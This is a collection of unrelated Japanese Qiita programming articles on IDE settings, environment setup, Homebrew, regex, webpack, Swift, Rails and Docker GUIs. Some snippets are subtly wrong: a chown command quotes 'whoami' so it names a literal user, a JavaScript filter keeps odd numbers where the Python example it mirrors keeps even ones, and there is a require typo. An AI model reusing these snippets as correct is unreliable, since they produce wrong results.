OmniAICreator/Qiita-1.07M huggingface dataset:
Eclipseで文字コードと改行コードを設定する方法

プロジェクトの期間が長くなるといろんなメンバが出入りしたりいろんなことがあったりして、文字コードや改行コードを１度苦労して統一してもいつの間にか違うものが入り込んできます。
メンバみんなで設定を揃えることが肝要です。

- 環境
    - Windows 10 Pro 64bit バージョン1909
    - Eclipse Version: 2020-03 (4.15.0)
        - 設定しているデフォルトJRE : Java 11

※. 画像は以前のMacOSでのものなのでイメージとして参照してください

## ワークスペースの改行コードをWindows(\n\r)にする
1. [Prefernces]ダイアログ > [General] > [Workspace] を選択します。
2. [New text file line delimiter] > [Other] > [Windows] を選択します。
3. [Apply]ボタンを押下します。
![Screen Shot 2017-05-23 at 22.11.57.png](https://qiita-image-store.s3.amazonaws.com/0/159761/367f815d-0fc2-0fe8-8c0d-afd1e8b3416a.png)

## 拡張子ごとに文字コードを設定する
1. [Prefernces]ダイアログ > [General] > [Content Types] を選択します。
2. [Content Types:]のリスト > [Text] の「▶」を展開します。

### 「*.java」の文字コードをUTF-8に設定する
1. [Java Source File] を選択します。
2. [Default encordiong] に「UTF-8」を入力して [Update]ボタンを押下します。
    - :sunflower:正しい文字コードを入力すると[Update]ボタンが活性化します。
![Screen Shot 2017-05-23 at 22.09.30.png](https://qiita-image-store.s3.amazonaws.com/0/159761/efc468da-bf1c-1eea-b3df-df86492bfa4a.png)

### 「*.properties」の文字コードをUTF-8に設定する
1. [Properties File] を選択します。
    - :loudspeaker:そんなものは表示されない！という場合 : [properties editorをインストールする](http://propedit.osdn.jp/)
        1. [Help] > [Install New Software..] > [Add]ボタンでダイアログを表示する
        1. [Name]に任意の値を設定し、[Location]に`http://propedit.sourceforge.jp/eclipse/updates/`を設定 > [Add]ボタンでダイアログを閉じる
        2. [PropertiesEditor]にチェックを入れてインストールする
        3. 促されたらEclipseを再起動する
        1. ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/159761/f49b2b3a-c39d-7fdc-1901-753453b05d1d.png)
2. [Default encordiong] に「UTF-8」を入力して [Update]ボタンを押下します。
![Screen Shot 2017-05-23 at 22.37.34.png](https://qiita-image-store.s3.amazonaws.com/0/159761/62f886eb-acc8-fb43-0dfe-6124e7d79629.png)

### 「*.css」の文字コードをUTF-8に設定する
1. [CSS] を選択します。
2. [Default encordiong] に「UTF-8」を入力して [Update]ボタンを押下します。

### 「*.js」の文字コードをUTF-8に設定する
1. [JavaScript Source File] を選択します。
2. [Default encordiong] に「UTF-8」を入力して [Update]ボタンを押下します。

### XMLファイルの文字コードをUTF-8に設定する
1. [XML] を選択します。
    - 本当は「拡張子.xmlのファイル全部」としたかったのですがいいのがなくて[XML]を選びました。
2. [Default encordiong] に「UTF-8」を入力して [Update]ボタンを押下します。
![Screen Shot 2017-05-23 at 23.40.25.png](https://qiita-image-store.s3.amazonaws.com/0/159761/427223ec-fe05-f49c-586b-ec246b869d75.png)
覚えておくと対応力が上がる英単語

ログやエラーメッセージにIT界独特の英単語が使われることが多いのでまとめました。(適宜更新)

## ephemeral
えふぇめらる
意味：揮発性の
・簡単に消えてしまうもの。
・メモリ上にあるものを指すことが多い。コンピュータの電源を落とすとメモリの中身は全て消えるため。
・アルコールが揮発するようなイメージ。
・メモリの他にもdockerのコンテナ内のファイルもdockerをダウンさせると消えるためephemeralである。

## permanent
ぱーまねんと
意味：永続的な
・消そうとしないと消えないもの。
・HDやSSDに保存されているものを指すことが多い。
・特にDBに保存する行為を一般的に永続化と呼ぶため、この単語がよく使われる。
・DBがオンメモリであり、ephemeralな場合でも永続化と呼ぶ。
・Java界ではJVMのメモリ領域にpermanent generationというものがあり、パーマネント領域などと呼ばれている。もちろんメモリの上にいるので電源を落とすと消える。
・ちなみに髪の毛をくるくるにするパーマはpermanent wave(永続的な波)が語源で髪の毛を風呂に入ったりしても元に戻らずずっと波打たせるという意味。

## embedded
えんべでっど
意味：組み込みの
・追加しなくても最初から入っているもの。
・Eclipseに入っているJavaとかSpringBootに入っているTomcatなんかはembeddedと表現されている。

## remove
りむーぶ
意味：取り除く、削除する
・ファイルの削除を表す時はremoveがよく使われる。
・removeはdeleteの「消す」ではなく「取り外す」というニュアンスの言葉。しかしソフトウェア界では同じ意味として扱った方が対応力が上がるだろう。
・Linuxコマンドのファイル・ディレクトリ削除のrmはremoveの意味だが、これはinodeから取り除くという意味で、物理的に削除されているわけではないためdeleteではなくremoveなのだと思われる。
・とはいえソフトウェアによっては物理削除でもremoveと表現したり論理削除でもdeleteと表現するので細かいニュアンスは気にしない方が良い。
Windows10にOpenAIGym入れようとして挫折した

# 概要
[前回](http://qiita.com/bodyscrap/items/68b38f58f492bc645da5)、RyzenなWindows10環境にanaconda3使ってTensorflow(GPU)+Keras環境ならびにOpenCV3.2を導入したのですが…今度は強化学習(というかDQN)お試し環境作りますよーというわけで作業をしました。
はじめに、オチを言うと**結局Ubuntu16.04LTSのデュアルブート環境を作って入れました。**
ですが、そこまでに至った経路と躓いたポイントを晒しておこうかと思います。

# 1.とりあえずpipはダメ
まずはダメ元でWindowsネイティブのanaconda環境で、
<pre>pip install gym</pre>
しましたが、「お前に食わすwheelは無い」とのことでした。
[公式のgithub](https://github.com/openai/gym)にも
> We currently support Linux and OS X running Python 2.7 or 3.5. Some users on OSX + Python3 may need to run

との記述があるのでまぁ仕方なし。そうね、Linuxね。

# 2.Bash on Ubuntu on Windowsもダメ
正確にはダメではなくて、とりあえずpython3.5.2入れて、pipでtensorflow-gpu1.0.1, keras1.2を入れて
<pre>pip install gym</pre>
まで成功。
「よし、動かすか」と走らせたらGPUのところでエラー。まぁそりゃ、WindosネイティブのCUDAは使ってくれないですよね。
ということで気を取り直して調べましたが、[なんかGPU使えないらしい](https://wpdev.uservoice.com/forums/266908-command-prompt-console-bash-on-ubuntu-on-windo/suggestions/16108045-opencl-cuda-gpu-support)。
機械学習でGPU使えないのは辛いので、ここでWindowsでの作業を断念。

# 3.仕方ないのでUbuntuを入れる
生Ubuntuなら大丈夫ということで、[こちら(「俺とプログラミング」様)](http://www.iandprogram.net/entry/2015/09/15/115918)を参考にデュアルブート環境を構築。
SSDも大分安価になったので、気軽にデュアルブート構成選択できるのは良い時代。
しかも、最近のUbuntuってデスクトップ起動時にWindows側のパーティション全部mountしてくれるみたいで、Windows側で作ったデータのコピーとか楽ちんでした。
1点詰まったところとしては、**「64GBのUSB3.0のメモリでインストールしようとしたらブートしなかった」**です。
多分32GB以上はダメなのかな(一応FAT32でフォーマットはしました)。ということで、手持ちの16GBのUSB2.0のメモリでUbuntu16.04LTSのisoを焼いて無事インストール。

# 4.Ubuntu上での作業
いろいろ見てるとpyenvとanacondaを入れてる方が多いようですが、anacondaだけで行けんかな?ということで、今回はanaconda3の最新版を入れたあとに
<pre>conda install python=3.5.2</pre>
で先祖帰りさせてから、pipでtensorflow-gpu1.0.1とkeras1.2を入れました。
ちなみに、condaはsudoからやってますが普通にやると環境変数が引き継がれないので注意です(参考「[sudo時に環境変数PATHが引き継がれない時の対策](http://note.kurodigi.com/sudo-path/)」)。
今回は横着でフルパスでconda指定しました。
OpenAI Gymを入れるところは[機械学習のライブラリを片っ端からpipで入れまくる(Ubuntu)](http://qiita.com/Matchlab/items/de127ce20b33d92bb8f3)を参考にしました。
`gym`と`gym[atari]`だけで良いかな?と思いもしましたがせっかくなので、`gym[all]`で全部入れました。
そして、spyderから[公式参考にインベーダーでも動かそうかな](https://github.com/openai/gym#atari)としたら、`GLIBCXX_3.4.20 not found`で怒られたので、
<pre>
conda install libgcc
</pre>
で、事なきを得る。ソースからコンパイルじゃなくてちょっと助かった。

# 5.まとめ
今回の作業で感じたことは

- OpenSource環境はLinux入れたほうが楽できる
- ドライバとかもあまり心配ない
- デュアルブート環境思ったより使える
- Ubuntuあたりは情報も多い
- 逆にWindowsで動かない時の対策情報が少ない

ということで、「Linux経験無いから…」という方も、結構簡単に導入できるのでそれに時間を割いた方が結果としてトータルで楽できそうなので是非。私も12.04以来の久しぶりでした。
最終的なエンドユーザー要件でWindows上での構築が必要な場合もありますが、それはそれで機械学習いじる上では普段使いはUbuntuの方が作業楽そうだなと思いました。
Homebrewがエラーで使えなくなった時の対処方法(Permission denied）

しばらくHomebrewを使っていなかったのですが、久しぶりに使ったところエラーが出て動作しなくなっていました。
エラーの内容や、復旧させた方法についてまとめました。

#Homebrewでエラーが出た

とある理由で、nodebrewが必要に。Homebrewを使ってインストールしようとしたのですが、下記のエラーが表示されてしまいました。

```
$ brew install nodebrew
Error: /usr/local is not writable. You should change the
ownership and permissions of /usr/local back to your
user account:
  sudo chown -R $(whoami) /usr/local
Error: Permission denied - /usr/local/var/homebrew
```

`Permission denied`とあるので、どうやら権限がはずれてしまっているようです。

何の時にはずれたんだ？？

#対処方法

ということで、権限を付け替えてあげましょー

上のエラーにも書いてあるように、下のコマンドを実行。

```
$ sudo chown -R 'whoami' /usr/local
```

実行しても何も表示されませんが、ご安心を。そういうもんです。

#再トライ

これでHomebrewが復旧できたはずなので、再びnodebrewのインストールにトライ。

```
$ brew install nodebrew
Updating Homebrew...

（省略）

==> Summary
🍺  /usr/local/Cellar/nodebrew/0.9.7: 8 files, 38KB, built in 13 seconds
```

どうやら無事にインストール成功したようです。
職場のWindowsマシンにいれたツール

自分用メモです。

## 環境
OS: Windows7

## インストールしたツール
PhpStorm（IDE）
sakura editor（テキストエディタ）
Kobito（マークダウンエディタ）

XAMPP（仮想開発環境）
Cygwin(Linux環境)
RLogin（SSHクライアント）
MySQL Workbench（データベースクライアント）
SourceTree（Gitクライアント）

Chrome（Webブラウザ）
Firefox（Webブラウザ）

LhaForge（アーカイバ）
SnapCrab（画面キャプチャ）
Q-Dir(ファイラ)
cLaunch(ランチャー)
正規表現のグループに名前をつける(Java)

## 要約
* Java1.7以降では`(?<名前>パターン)`と書くことで正規表現のグループに名前をつけることができる。
* `Matcher#group(String name)`でマッチした文字列を取り出せる。

## 背景
部品に汎用性を持たせるために、正規表現をプロパティファイルなどに外出しにする事があります。

例えば`時間 [スレッド名] エラーレベル クラス名 - メッセージ`という形式のログを各要素ごとに抽出したい場合、以下のように書けます

```プロパティファイル
log.pattern=(.+?) \[(.+?)\] (ERROR|INFO|DEBUG) (.*?) - (.*?)
```

```Java
String log = "22:22:50.324 [main] DEBUG org.springframework.boot.devtools.settings.DevToolsSettings - Included patterns for restart : []";

String patternString = getProperty("log.pattern");
Pattern pattern = Pattern.compile(patternString);
Matcher matcher = pattern.matcher(log);
if (matcher.matches()) {
	String time      = matcher.group(1);
	String thread    = matcher.group(2);
	String level     = matcher.group(3);
	String className = matcher.group(4);
	String message   = matcher.group(5);

	・・・
} 
```

一見汎用的に見えるのですがこの手法には大きな弱点があります。それはグループの順番を変えられないことです。Javaコードでグループの値を取り出すのにグループの順番を指定しているからです。

例えば、以下のようにスレッド名とエラーレベルの順番を入れ替えた途端にコードが破綻します。汎用的にしたつもりだったのに。

```
22:22:50.324 DEBUG [main]  org.springframework.boot.devtools.settings.DevToolsSettings - Included patterns for restart : [] 
```

## 名前付きの前方参照を行う正規表現グループ
Java1.7から『名前付きの前方参照を行う正規表現グループ』が利用できるようになりました。

`(?<名前>パターン)`と書くことで正規表現のグループに名前をつけることができます。

先程の正規表現に適用してみます。

```
log.pattern=(?<time>.+?) \[(?<thread>.+?)\] (?<level>ERROR|INFO|DEBUG) (?<className>.*?) - (?<message>.*?)
```

これを取り出すには、`Matcher#group(String name)`を使います

```java
String time      = matcher.group("time");
String thread    = matcher.group("thread");
String level     = matcher.group("level");
String className = matcher.group("className");
String message   = matcher.group("message");
```

名前で取得するのでスレッド名とエラーレベルの順番を入れ替えても、正規表現の変更だけで対応できます。

```
log.pattern=(?<time>.+?) (?<level>ERROR|INFO|DEBUG) \[(?<thread>.+?)\] (?<className>.*?) - (?<message>.*?)
```

地味ですが便利な機能ですね。

## 参考
* JavaDoc https://docs.oracle.com/javase/jp/8/docs/api/java/util/regex/Matcher.html#group-java.lang.String-
package.jsonからversionを抜き出してjsファイルに埋め込む

package.jsonからversionを抜き出してjsファイルに埋め込む方法です。

ブラウザで実行されるjsにバージョン情報が埋め込まれていると、

- dev/qa環境などで画面にこっそりバージョン情報を出しておくと、エラー報告がしやすい
- GoogleAnalyticsなどのユーザートラッキングログにバージョン情報を含めることで、バージョンアップ前後の結果がわかりやすい
- Sentryなどでエラー収集するときに、どのバージョンでバグが出たのかわかりやすい

などのメリットがあります。

手動でバージョン情報を埋め込むのは面倒なので、package.jsonから読み込む方法を考えます。package.jsonなら、`npm version`コマンドで簡単に更新できるので、デプロイの前にバージョンアップを自動化するのも楽です。

そうしてpackage.jsonをjsから(WebPackを使って)読み込もうとするのですが、つい書いてしまう次のようなコードはあまり良くありません。

```js
const version = reuire('./package.json').version;

const Hoge = props => (
  <div>{version}</div>
);
```

上記の例では、package.jsonの中身がすべてbundleされて、ブラウザから見られるようになってしまうため、不要な情報を公開してしまったりとリスクがあります。

というわけで、この問題を解決するようなWebPack Loaderを作ってみました。

[json-extract-loader](https://www.npmjs.com/package/json-extract-loader)

jsonファイルから必要な情報だけ抜き取り、bundleファイルに含めることができます。

```js
import { version, url } from '../package.json?version&repository.url'
// version => 0.1.0 
// url => https://github.com/KeitaMoromizato/json-exract-loader.git 
```

使いドコロによっては便利だと思うのですが、Universalじゃなくなってしまうのが難点...。他にいい解決方法が無いものか。
[Sails.js] sailsでvueでwebpack

# Vue.js セットアップメモ
Vue.jsをSails.jsのフロントエンドとしてセットアップしたメモ。
参考にした構成は[hackernews](https://github.com/denismars/hackernews)。

## やりたいこと
 - Vue.jsの自動コンパイル（watch）

## Sails.jsのアセットコンパイル
Sailsが用意するタスクランナーはGrunt.js。`sails lift`した時に勝手にassets/js以下のファイルを.tmp/以下にコピーするようになっている。
- tasks/config/：Gruntタスクの定義
- tasks/register/：定義したGruntタスクを"build"などの親タスクにまとめる

また、assets/js/以下のファイルは勝手にHTMLに差し込まれるようになっている（tasks/pipeline.jsで設定可能）
よって、ビルド前のjsファイルはasset/js/とは別のディレクトリに置きたいので、上のhackernewsの例ではclient/web/というのを作ってそこにVue.jsのソースをおき、ビルドしたファイルをassets/js/build/に出力するようになっている。

## webpackでコンパイル
Vue.jsのビルドにはwebpackを使う。
`npm install grunt-webpack --save `

## vue-loader
grunt-webpackがvueをコンパイルするためにvue-loaderを使う。
参考にしたhackernewsではloaderがvueになっていたが、これだと動かなかった。
loaderをvue-loaderにする（https://github.com/vuejs/vue-loader/issues/409）

`npm install vue-loader --save `

## webpackの設定
以下、webpackタスクの設定例です。
outputは.tmp/public/jsに直接吐き出すようにします。（assets/jsに出力したらwatchした時にsyncタスクが走らなくて.tmp/public/js/が更新されなかった）

```javascript:tasks/config/webpack.js
module.exports = function (grunt) {
  grunt.config.set('webpack', {
    dev: {
      entry: './client/web/main.js',
      output: {
        path: __dirname + '/../../.tmp/public/js/build',
        filename: 'main.js'
      },
      stats: {
        colors: false,
        modules: false,
        reasons: false
      },
      progress: false,
      failOnError: true,
      devtool: '#source-map',
      module: {
        loaders: [
          {test: /\.vue$/, loader: 'vue-loader'}
        ]
      }
    }
  });

  grunt.registerTask('webpack', [
    'webpack:dev'
  ]);

  grunt.loadNpmTasks('grunt-webpack');
};
```

これでも"vue-template-compilerがない！"と怒られる。npmのvue-template-compilerのページにはvue-loaderを使えばこれはいらないよって書いてあるしhackernewsもこれなしで動くのだが・・・

```
npm install vue-template-compiler --save
npm install css-loader --save
```

インストールしたら動いた。何か設定がおかしいのか、バージョンアップで仕様が変わっているのか・・・？

compileAssetsタスクに今定義したwebpackタスクを追加。

```javascript:tasks/register/compileAssets.js
module.exports = function(grunt) {
   grunt.registerTask('compileAssets', [
    'webpack:dev',
     'clean:dev',
    {　以下略　}
```

## watch
これでビルドはできるようになったけど、Sails.jsはデフォルトでassets/以下しかwatchしてない。
View.jsをいじるたびに毎回サーバー再起動するのは面倒なのでclient/web/以下をwatchして自動でビルドを走らせる。

```javascript:tasks/config/watch.js
webpack: {
     files: [
       'client/web/**/*'
     ],
     tasks: ['webpack']
 },
```
NodejsからGoogle Apps Script(GAS)のウェブ アプリケーションにPOSTする時にハマったこと

# 概要

NodejsのrequestモジュールからGoogle Apps Script(GAS)のウェブアプリケーションにPOSTする際に、Moved Temporarilyとなり期待したPOSTとならない時の対処方法について紹介します

# 対処方法

requestのoptionに**followAllRedirects**プロパティを追加することでリクエスト先でのリダイレクトを許可してあげることで期待した処理が得られる

```
const request = require('request');

const payload = {
  param1: 'param1',
  param2: 'param2'
};

const option = {
  uri: '<google apps script endpoint>',
  headers: {
    'Content-type': 'application/json'
  },
  json: true,
  followAllRedirects: true,
  form: payload
};

request.post(option, function(err, resp, body) {
  console.log(body);
});
```
ゲームエミュレータでAIはじめようかなぁ

強化学習を始めるにあたり`$ sudo apt install mupen64plus`をインストール
環境は、Ubuntu 16.04
某カートゲームを試そうとJoy-Conはこんな感じで設定。
十字キーと、カートの操作はアナログパッドを併用するようにした。
なお、Joy-Conは真ん中のボタン長押しでペアリングが開始される。当然PCがBLEに対応している必要がある。

`$ sudo vi /usr/share/games/mupen64plus/InputAutoCfg.ini`

```
[Joy-Con (R)]
plugged = True
plugin = 2
mouse = False
AnalogDeadzone = 4096,4096
AnalogPeak = 32768,32768
DPad R = hat(0 Right)
DPad L = hat(0 Left)
DPad D = hat(0 Down)
DPad U = hat(0 Up)
Start = button(12) button(9)
Z Trig = button(9)
B Button = button(0)
A Button = button(1)
C Button R = button(2)
C Button L =
C Button D = button(4)
C Button U = button(3)
R Trig = button(5)
L Trig = 
Mempak switch =
Rumblepak switch =
X Axis = hat(0 Left Right)
Y Axis = hat(0 Up Down)
```

キーボードだけなら「[KeyboardSetup](http://www.mupen64plus.org/wiki/index.php?title=KeyboardSetup)」を見とけば問題なし

キーバインドの確認には[animicro](https://github.com/AntiMicro/antimicro)を利用。
ローカルでビルドして実行とした。

```
$ git clone https://github.com/AntiMicro/antimicro
$ sudo apt install libqt4-dev libsdl2-dev 
$ cd antimicro
$ mkdir build && cd build
$ cmake ..
$ make
$ bin/animicro
```

あとは、適当に頑張ってみます。
Koalaでfacebookのプロフィール画像サイズを変更する方法

facebookのプロフィール画像を取得すると、サイズが50×50と小さかったのでサイズを変更した際のメモです。

# サイズ変更の仕方
typeや、widthを指定することで画像のサイズを変更することができます
https://graph.facebook.com/fb_id/picture?type=large

Koalaでは、下記のように書くことでサイズを変更することができます。

`get_object('me?fields=picture.width(変更したいサイズ)')`

また、他にもredirectの可否なども設定することができるので、下記を参考に変えてみてください！
https://developers.facebook.com/docs/graph-api/reference/user/picture/
linter を使ってコードレビューのコストを削減する

- **lint**：コンパイラやインタープリタよりも厳しくソースコードをチェックするプログラム
- **linter**：エディタ上で lint に引っかかるようなコードの書き方が良くない部分を指摘してくれるもの
- **コードフォーマッタ**：コードを lint に従って自動整形してくれるもの

複数人でのソフトウェア開発プロジェクトなどでは，統一的な書き方をして品質向上やレビューコストの削減をするために，コーディング規約を設定することがある．あまりにも細かい書き方の指定を考えて共有するのは大変なので，最低限統一したい部分は言語の開発元や大企業などが公開している linter を使用すると良い．
例えばコミット前にはコードフォーマットして linter のエラー表示がない状態にするなどを規定するだけで，ソースコードを最低限統一された状態にできるので，書き方ではなく処理内容にレビューのコストを集中させることができる．

個人レベルの小規模な開発でも，インデントや改行の仕方がファイルやメソッドによってバラバラな状態から簡単に書き方を揃えることができるし，他人から引き継いだソースコードが自分の書き方と異なっていても整形すれば最低限読みやすい状態に持っていける．

メジャーな言語には大抵 linter やコードフォーマッタは存在し，IDE やテキストエディタにはデフォルトでフォーマット機能がついていたり，簡単にフォーマット機能を拡張できるようになっているので，まだ設定していない人は設定してみましょう．

以下，atom で Python の linter・フォーマッタを利用する方法を記載する．

## 環境
* Mac OS 10.12.4
* homebrew でインストールした python 3.x が導入済み

```
$ python3 -V
Python 3.6.1
```

## 利用する atom パッケージ
- atom-beautify
    - 様々な言語のソースコードを自動整形してくれる
- linter
- linter-python-pep8

## 手順
### pep8・autopep8 のインストール
```
$ pip3 install pep8
$ pip3 install autopep8
```

### atom パッケージのインストール
```
apm install atom-beautify
apm install linter
apm install linter-python-pep8
```
JavaScript(ES6)で辞書内包表記

## Pythonなら簡単にかける辞書内包表記をJavaScriptで実現したい

Pythonのリスト内包表記，辞書内包表記，便利ですよね．
冗長になりがちなfor文も

リスト内包表記

```
>>>  [i * 2 for i in range(10)]
[0, 2, 4, 6, 8, 10, 12, 14, 16, 18]
```

辞書内包表記

```
>>> {i: i * 2 for i in range(10)}
{0: 0, 1: 2, 2: 4, 3: 6, 4: 8, 5: 10, 6: 12, 7: 14, 8: 16, 9: 18}
```

で一発です．

JavaScriptで実現しようとした場合，mapやfilterを使用してリスト内包表記を実現できることは知っていたのですが，辞書内包表記の書き方を知ることができたので，備忘録を残しておきます．

## JavaScript(ES6)でリスト内包表記

辞書内包表記の前にリスト内包表記の確認をしておくと，上記の例では

```js
[...Array(10).keys()].map((d) => {return d * 2});
```

で処理できますし，Pythonで

```
>>> [i * 2 for i in range(10) if i % 2 == 0]
[0, 4, 8, 12, 16]
```

のように，if文が入るようなものは，冗長にはなりますが，

```js
[...Array(10).keys()].filter((d) => d % 2).map((d) => d * 2);
```

のように書くことができます．

## JavaScript(ES6)で辞書内包表記

本命の辞書内包表記ですが，上記のPythonの例では

```js
[...Array(10).keys()].reduce((obj, x) => Object.assign(obj, { [x]: x * 2 }), {})
```

のように書くことができます．一般化すると

```js
array.reduce((obj, x) => Object.assign(obj, { [key_maker(x)]: value_maker(x) }), {})
```

となります．Pythonに比べるとだいぶ冗長ですが，それでもfor文を使うよりは簡潔に書ける機会が多いと思います．

## 参考

- In Javascript a dictionary comprehension, or an Object map <https://stackoverflow.com/questions/11068247/in-javascript-a-dictionary-comprehension-or-an-object-map>
- jsでrange関数をつくる <http://qiita.com/akameco/items/a2b698dd4a067754997b>
SwiftでArrayがnilか0件の場合に共通の処理を動作させたい時はnil結合演算子を使う

Swiftでarrayがnilや0件の場合に共通の処理を動作させたい時はnil結合演算子（??）を使う。

```swift
if array?.isEmpty ?? true {
  // nilだったり0件だったりした時の処理
}
```

- arrayがnilなら、nil結合演算子がtrueを返してくれて
- arrayがnilでなく0件ならisEmptyはtrueを返してくれる
- 上の条件に当てはまらないならfalseになる

なぜ、こんな事をやるかというと、nilじゃないけど0件のときというのはoptional bindingしないといけないので、nilのときの処理と同じようにまとめるのはやりづらいから。

```swift
// 次の書き方は正しくない
if let array = array, array.isEmpty || array == nil {
    // ここで呼び出したい処理がある
}

// ちなみに次のようにswitch case使ってもうまく出来ない。
switch array { 
    case .none, .some(array) where array.isEmpty:
    // ここで呼び出したい処理がある    
}
```

最初のコードが正しいか確かめるコードを書こう

```swift
func 確認のためのメソッドだよ(array: [Bool]?) -> String {
    if array?.isEmpty ?? true {
        if let array = array {
            return "array.count \(array.count)"
        } else {
            return "arrayはnilやん"
        }
    }
    return "何かある"
}

確認のためのメソッドだよ(array: [])            // "array.count 0"
確認のためのメソッドだよ(array: nil)           // "arrayはnilやん"
確認のためのメソッドだよ(array: [false])       // "何かはある"
確認のためのメソッドだよ(array: [false, true]) // "何かはある"
```

期待通りなんじゃないでしょうか

# その他

## extensionでフタをする話

念のため書くと、
上のように動作を確かめるために`確認のためのメソッドだよ(array:)`というメソッドを定義しただけなので、上記のようなメソッドをUtility作ってラップしたり安易なextension作ったりすることはダサいと思う。

なぜなら、arrayがnilかもしれないという状態はそこそこ特別な状態なので、その状態であることを容認していることってそんなに無いんじゃないですかね。値を持っていないなら0件でいい場合のほうが多いので、extensionでおまじないみたいにnilを加味したりするのは嫌な感じだ。雑なextensionによってそのメソッドが乱雑に扱われるケースを多く見てきた。それよりもOptionalにするべきかどうかをしっかり考えたほうがいい。

もちろん、arrayがoptionalの場合というのは実際にはある。具体例だとUIViewの`var gestureRecognizers: [UIGestureRecognizer]?`がそれ。

こいつはiOS10のSDKでは次のように定義されている

```swift
extension UIView {
    @available(iOS 3.2, *)
    open var gestureRecognizers: [UIGestureRecognizer]?
```

こいつを見ると、Objective-C時代からあるからしょうがないやつだなとか思うんだけど、コンピューティッドプロパティを利用して、あるんならくれやっていうextensionを作るのはまあアリかなと思いました。

```swift
extension UIView {

    open var ジェスチャーください: [UIGestureRecognizer] {
        guard let gestureRecognizers = gestureRecognizers else {
            return []
        }
        
        return gestureRecognizers
    }
}

let gestures = view.ジェスチャーください
```
gem deviseをインストールする時の流れ

Ruby on Railsでのアプリケーション作成時によくdeviseを使います。
の割には毎回忘れて手間取るので、お決まりの作業の流れをメモメモ。


### 1. Gemfileに ```'devise'```を追記。

```ruby:Gemfile
gem 'devise'   # 一番下にでも追記
```


### 2. bundle install
ターミナルで```bundle install```してgemを読み込む

```:ターミナル
$ bundle install
```

### 3. ```'devise'```が入ったか確認
Gemfile.lockというファイルにはインストールされたgemが一覧表示されているので、ここに```'devise'```が入っているか確認。

### 4. サーバーを一旦停止、再起動
サーバー起動時にgemが読み込まれる？らしく、新たにいれたgemを使っていく際はサーバーを再起動する必要があります。

### 5. rails g devise:install
ターミナルでコマンド入力

```:ターミナル
$ rails g devise:install
```

### 6. ```'devise'```用のビューファイルを作る

```:ターミナル
rails g devise:views
```

### 7. Userモデルを作る
データベースにusersテーブルを作りたい時はこれも。

```:ターミナル
rails g devise user # モデル名なので小文字単数形
```

### 8.migrateする
7.で作ったモデルを元に、データベースを作る

```:ターミナル
$ rake db:migrate
```
これをしないとデータベースにusersテーブルが作成されないので忘れずに。
application.scssにrequireなんちゃらを記述する際にエラーが出てしまった場合の解決方法

#想定される状況と解決方法
Ruby on Railsを用いて開発している際に、よくapplication.cssからapplication.scssに置き換えてscssファイルをインポートする形にすることもしばしあるかと思います。

例えば外部のプラグインを入れるとなった際に、application.scssに```*= require ・・・```を書き足してくださいと書かれているのですがこの記述をapplication.scssに書き加える場合には少し違った記述方法になるので注意が必要です。

・エラーになってしまう例

```application.scss

@import "./reset";
@import "./common";
@import "./style";

*= require fullcalendar
```

・正しい書き方

```application.scss
/*
 * This is a manifest file that'll be compiled into application.css, which will include all the files
 * listed below.
 *
 * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
 * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
 *
 * You're free to add application-wide styles to this file and they'll appear at the bottom of the
 * compiled file so the styles you add here take precedence over styles defined in any styles
 * defined in the other CSS/SCSS files in this directory. It is generally better to create a new
 * file per style scope.
 *
 *= require_self
 *= require fullcalendar
 */

@import "./reset";
@import "./common";
@import "./style";

```

こんな感じで書けば無事正常に動きます。
Docker で使えるデータベースの Web GUI まとめ

Docker や docker-compose を使ってデータベースを立ち上げるとき、 Web の GUI も一緒に立ち上げておくと便利です。

本稿では、[JX通信社](http://jxpress.net/)で使っているものの中から、各種データベースに対応する Docker 経由で立ち上げ可能な Web GUI の OSS をご紹介します。

## 「Web の GUI も一緒に立ち上げると便利」とは

例えば、次のような定義で `docker-compose up` して、 http://localhost:8080 にアクセスすると、

```yaml
version: "3"

services:
  postgres:
    image: postgres
    environment:
      POSTGRES_DB: test
      POSTGRES_USER: test
  
  postgres-gui:
    image: donnex/pgweb
    command: -s --bind=0.0.0.0 --listen=8080 --url postgresql://test:@postgres/test?sslmode=disable
    links:
      - postgres:postgres
    ports:
      - "8080:8080"
```

このような GUI でブラウザからデータベースをいじれるのでとても便利です。例えばテーブルを削除したいとき、わざわざ PostgreSQL の CUI を立ち上げて `DROP TABLE` を発行しなくても良いわけです。

![image](https://qiita-image-store.s3.amazonaws.com/0/26289/af0f61d2-d17e-e465-0fbf-3f6f69ce5a32.png)

また、このような定義を docker-compose.yml に記載しておくことで、新しく入ったメンバーが `docker-compose up` だけで環境を立ち上げられるようになり、とても良いです。

## GUI の Docker イメージまとめ

|データベース|GUI|元のOSS|
|:-------:|:--:|:----:|
|[mysql](https://hub.docker.com/_/mysql/)|[phpmyadmin/phpmyadmin](https://hub.docker.com/r/phpmyadmin/phpmyadmin/)|[phpMyAdmin](https://www.phpmyadmin.net/)|
|[postgres](https://hub.docker.com/_/postgres/)|[donnex/pgweb](https://hub.docker.com/r/donnex/pgweb/)|[pgweb](https://github.com/sosedoff/pgweb)|
|[mongo](https://hub.docker.com/_/mongo/)|[mongo-express](https://hub.docker.com/_/mongo-express/)|[mongo-express](https://github.com/mongo-express/mongo-express)|
|[cnadiminti/dynamodb-local](https://hub.docker.com/r/cnadiminti/dynamodb-local/)|[yamitzky/dynamodb-gui](https://hub.docker.com/r/yamitzky/dynamodb-gui/)|[dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin)|
|[redis](https://hub.docker.com/_/redis/)|[tenstartups/redis-commander](https://hub.docker.com/r/tenstartups/redis-commander/)|[redis-commander](https://github.com/joeferner/redis-commander)|

イメージの選定基準は、

- 公式があれば、公式
- 公式がなければ、
    - DL数が多い
    - アクティブにメンテされている
    - 軽い

## あとがき

ご紹介したものは、実際に[JX通信社](http://jxpress.net/)で活用しているものですが、もしより良い Docker イメージがあれば、ぜひご紹介ください。

また、ご紹介したものは、あくまでローカルでの開発時に適したものであり、(認証がないなど理由から)本番利用には適さないかもしれません。
TensorFlowを中心とした機械学習環境をUbuntuで構築

##目的
TensorFlow(r1.1)を中心とした機械学習環境をUbuntu(16.04LTS)に構築します。機械学習環境はvirutalenvを利用してpython3の仮想環境上に構築します。virutalenvを利用することで、システムのライブラリに影響を与えずに、手軽に機械学習環境を構築できます。Mac版は[こちら](http://qiita.com/JeJeNeNo/items/d080b17faef6b602d98b)。

## virtualenvを利用してPython 3の仮想環境を構築
